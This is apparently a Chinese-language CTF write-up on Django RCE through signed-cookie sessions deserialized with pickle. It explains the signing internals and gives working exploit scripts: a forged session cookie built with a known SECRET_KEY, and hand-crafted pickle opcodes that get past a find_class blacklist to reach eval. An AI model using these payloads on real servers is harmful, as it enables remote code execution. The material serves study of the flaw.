漏洞成因位于目标配置文件settings.py下
关于这两个配置项
SESSION_ENGINE：
在Django中，SESSION_ENGINE 是一个设置项，用于指定用于存储和处理会话（session）数据的引擎。
SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据，例如：
1. 数据库后端 (django.contrib.sessions.backends.db)：会话数据存储在数据库表中。这是Django的默认会话引擎。
2. 缓存后端 (django.contrib.sessions.backends.cache)：会话数据存储在缓存中，例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。
3. 文件系统后端 (django.contrib.sessions.backends.file)：会话数据存储在服务器的文件系统中。这种方式适用于小型应用，不需要高级别的安全性和性能。
4. 签名Cookie后端 (django.contrib.sessions.backends.signed_cookies)：会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据，可以提供一定程度的安全性。
5. 缓存数据库后端 (django.contrib.sessions.backends.cached_db)：会话数据存储在缓存中，并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。
SESSION_SERIALIZER：
SESSION_SERIALIZER 是Django设置中的一个选项，用于指定Django如何对会话（session）数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制，例如用户登录状态、购物车内容、用户首选项等。
通过配置SESSION_SERIALIZER，您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式，包括以下常用的选项：
1. **'django.contrib.sessions.serializers.JSONSerializer'**：使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式，具有良好的可读性和跨平台兼容性。
2. **'django.contrib.sessions.serializers.PickleSerializer'**：使用Python标准库中的pickle模块来序列化和反序列化会话数据。
那么上述配置项的意思就是使用cookie来存储session的签名，然后使用pickle在c/s两端进行序列化和反序列化。
紧接着看看Django中的/core/signing模块：（Django==2.2.5）
主要看看函数参数即可
key：验签中的密钥
serializer：指定序列化和反序列化类
def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False): """ Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is None, use settings.SECRET_KEY instead. If compress is True (not the default), check if compressing using zlib can save some space. Prepend a '.' to signify compression. This is included in the signature, to protect against zip bombs. Salt can be used to namespace the hash, so that a signed string is only valid for a given namespace. Leaving this at the default value or re-using a salt value across different parts of your application without good cause is a security risk. The serializer is expected to return a bytestring. """ data = serializer().dumps(obj) # 使用选定的类进行序列化 # Flag for if it's been compressed or not is_compressed = False # 数据压缩处理 if compress: # Avoid zlib dependency unless compress is being used compressed = zlib.compress(data) if len(compressed) < (len(data) - 1): data = compressed is_compressed = True base64d = b64_encode(data).decode() # base64编码 decode转化成字符串 if is_compressed: base64d = '.' + base64d return TimestampSigner(key, salt=salt).sign(base64d) # 返回一个签名值# loads的过程为dumps的逆过程def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None): """ Reverse of dumps(), raise BadSignature if signature fails. The serializer is expected to accept a bytestring. """ # TimestampSigner.unsign() returns str but base64 and zlib compression # operate on bytes. base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode() decompress = base64d[:1] == b'.' if decompress: # It's compressed; uncompress it first base64d = base64d[1:] data = b64_decode(base64d) if decompress: data = zlib.decompress(data) return serializer().loads(data)看看两个签名的类：
在Signer类中中：
class Signer: def __init__(self, key=None, sep=':', salt=None): # Use of native strings in all versions of Python self.key = key or settings.SECRET_KEY # key默认为settings中的配置项 self.sep = sep if _SEP_UNSAFE.match(self.sep): raise ValueError( 'Unsafe Signer separator: %r (cannot be empty or consist of ' 'only A-z0-9-_=)' % sep, ) self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__) def signature(self, value): # 利用salt、value、key做一次签名 return base64_hmac(self.salt + 'signer', value, self.key) def sign(self, value): return '%s%s%s' % (value, self.sep, self.signature(value)) def unsign(self, signed_value): if self.sep not in signed_value: raise BadSignature('No "%s" found in value' % self.sep) value, sig = signed_value.rsplit(self.sep, 1) if constant_time_compare(sig, self.signature(value)): return value raise BadSignature('Signature "%s" does not match' % sig)还有一个是时间戳的验签部分
class TimestampSigner(Signer): def timestamp(self): return baseconv.base62.encode(int(time.time())) def sign(self, value): value = '%s%s%s' % (value, self.sep, self.timestamp()) return super().sign(value) def unsign(self, value, max_age=None): """ Retrieve original value and check it wasn't signed more than max_age seconds ago. """ result = super().unsign(value) value, timestamp = result.rsplit(self.sep, 1) timestamp = baseconv.base62.decode(timestamp) if max_age is not None: if isinstance(max_age, datetime.timedelta): max_age = max_age.total_seconds() # Check timestamp is not older than max_age age = time.time() - timestamp if age > max_age: raise SignatureExpired( 'Signature age %s > %s seconds' % (age, max_age)) return value时间戳主要是为了判断session是否过期，因为设置了一个max_age字段，做了差值进行比较
漏洞调试我直接以ez_py的题目环境为漏洞调试环境（Django==2.2.5）
• 老惯例，先看栈帧django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类，协助处理了HTTP请求
• AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份
• 随后调用Django auth模块下的get_user函数和_get_user_session_key函数
• 随后进行session的字典读取。由于加载session的过程为懒加载过程（lazy load），所以在读取SESSION_KEY的时候会进行_get_session函数运行，从而触发session的反序列化
• loads函数中的操作首先先进行session是否过期的检验，随后base64解码和zlib数据解压缩，提取出python字节码
最后扔入pickle进行字节码解析
漏洞利用首先利用条件如下：
以cookie方式存储session，实现了交互。
以Pickle为反序列化类，触发__reduce__函数的执行，实现RCE
EXP如下：
import osimport django.core.signingimport requests# from Django.contrib.sessions.serializers.PickleSerializerimport pickleclass PickleSerializer: """ Simple wrapper around pickle to be used in signing.dumps and signing.loads. """ protocol = pickle.HIGHEST_PROTOCOL def dumps(self, obj): return pickle.dumps(obj, self.protocol) def loads(self, data): return pickle.loads(data)SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'salt = "django.contrib.sessions.backends.signed_cookies"class exp(): def __reduce__(self): # 返回一个callable 及其参数的元组 return os.system, (('calc.exe'),)_exp = exp()cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)print(cookie_opcodes)resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})
Code-Breaking-Django调试这道题是P神文章中的题目，题目源码在这：https://github.com/phith0n/code-breaking/blob/master/2018/picklecode
find_class沙盒逃逸关于find_class：
简单来说，这是python pickle建议使用的安全策略，这个函数在pickle字节码调用c（即import）时会进行校验，校验函数由自己定义
import pickleimport ioimport builtins__all__ = ('PickleSerializer', )class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法 # Only allow safees from builtins. if module == "builtins" and name not in self.blacklist: # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内 return getattr(builtins, name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))class PickleSerializer(): def dumps(self, obj): return pickle.dumps(obj) def loads(self, data): try: # 校验data是否为字符串 if isinstance(data, str): raise TypeError("Can't load pickle from unicode string") file = io.BytesIO(data) # 读取data return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load() except Exception as e: return {}第一是要手撕python pickle opcode绕过find_class，这个过程使用到了getattr函数，这个函数有如下用法
class Person: def __init__(self, name): self.name = name# 获取对象属性值person = Person("Alice")name = getattr(person, "name")print(name)# 调用对象方法a = getattr(builtins, "eval")a("print(1+1)")# 可以设置default值age = getattr(person, "age", 30)print(age)builtins.getattr(builtins, "eval")("print(1+1)")那么同理，也可以通过getattr调用eval
加载上下文：由于后端在实现时，import了一些包
（这部分包的上下文可以使用globals()函数获得）
所以可以直接导入builtins中的getattr，最终通过获取globals()中的__builtins__来获取eval等
getattr = GLOBAL('builtins', 'getattr') # GLOBAL为导入dict = GLOBAL('builtins', 'dict') dict_get = getattr(dict, 'get')globals = GLOBAL('builtins', 'globals')builtins = globals() __builtins__ = dict_get(builtins, '__builtins__') # 获取真正的__builtins__eval = getattr(__builtins__, 'eval')eval('__import__("os").system("calc.exe")')return
查看Django.core.signing模块，复刻sign写exp
from django.core import signingimport pickleimport ioimport builtinsimport zlibimport base64PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"salt = "django.contrib.sessions.backends.signed_cookies"def b64_encode(s): return base64.urlsafe_b64encode(s).strip(b"=")base64d = b64_encode(PayloadToBeEncoded).decode()def exp(key, payload): global salt # Flag for if it's been compressed or not. is_compressed = False compress = False if compress: # Avoid zlib dependency unless compress is being used. compressed = zlib.compress(payload) if len(compressed) < (len(payload) - 1): payload = compressed is_compressed = True base64d = b64_encode(payload).decode() if is_compressed: base64d = "." + base64d session = signing.TimestampSigner(key=key, salt=salt).sign(base64d) print(session)然后传session即可
